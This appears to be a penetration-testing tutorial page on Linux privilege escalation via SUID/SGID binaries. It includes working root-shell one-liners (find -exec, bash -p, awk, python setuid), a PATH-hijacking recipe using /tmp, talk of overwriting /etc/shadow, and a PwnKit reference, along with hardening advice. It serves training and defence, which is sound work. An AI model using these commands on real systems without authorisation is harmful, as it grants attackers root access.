Skip to content

SUID/SGID Binaries

The SUID (Set User ID) bit makes a binary run with the permissions of its owner, not of whoever launches it. It’s needed for certain operations (e.g. passwd needs to write /etc/shadow as root), but when a root SUID binary does something the attacker can redirect toward a shell, it becomes direct escalation to root. It’s one of the most common and reliable Linux privesc vectors.

-rwsr-xr-x 1 root root ... /usr/bin/passwd
^
s in place of the owner's x = SUID

When you run a root-SUID binary, the process runs as root during its execution. If that binary allows reading/writing arbitrary files, running commands, or spawning an interpreter, you redirect it to get a root shell.

# SUID (root owner running as root)
find / -perm -4000 -type f 2>/dev/null
# SGID
find / -perm -2000 -type f 2>/dev/null
# both, with detail
find / -perm -u=s -o -perm -g=s -type f 2>/dev/null -ls

GTFOBins catalogs how to abuse each standard binary. If a SUID binary is there, you have the exact recipe:

# typical examples (if they have root SUID)
find . -exec /bin/sh -p \; -quit # find with SUID -> root shell
bash -p # bash with SUID
cp: overwrite /etc/passwd or /etc/shadow
less/more/vi/nano: spawn a shell from the pager/editor
awk 'BEGIN {system("/bin/sh")}'
python -c 'import os;os.setuid(0);os.system("/bin/sh")'
nmap --interactive (old versions)

The -p flag in bash/sh matters: it preserves privileges (without it, bash drops them).

Non-standard SUID binaries (a company’s own programs) are especially juicy:

# what does the binary do? does it call other programs without an absolute path?
strings /path/suid_binary # look for system() calls, paths, commands
ltrace / strace ./suid_binary # see what it runs in real time
# PATH hijacking: if it calls "service" without a path -> create your malicious "service" in PATH
export PATH=/tmp:$PATH ; echo '/bin/sh -p' > /tmp/service ; chmod +x /tmp/service
# command injection if it passes arguments without sanitization

A SUID binary that calls another command without an absolute path (system("service x")) is vulnerable to PATH hijacking → execution as root.

pkexec (Polkit) -> PwnKit (CVE-2021-4034): root on almost any Linux
Exim, Sendmail -> several
# always: cross-reference the binary+version with known exploits
  • Audit and minimize SUID/SGID binaries: remove the bit from those that don’t need it (chmod -s).
  • Inventory: know exactly which SUID binaries exist and why; alert on new ones.
  • Custom binaries: never SUID if they call other commands; absolute paths, input validation, least privilege.
  • Mount with nosuid the partitions where SUID shouldn’t exist (/tmp, /home, external media).
  • Patching (PwnKit and similar); AppArmor/SELinux to confine.
  • List SUID/SGID (find -perm -4000/-2000)
  • Cross-reference each with GTFOBins
  • Exploit abusable standard binaries (find, bash -p, cp…)
  • Analyze custom binaries (strings/ltrace) for system()/PATH
  • PATH hijacking if they call commands without an absolute path
  • Known CVEs (PwnKit/pkexec)
  • Verify the -p flag to preserve privileges
  • Blue: SUID minimized, nosuid, patched?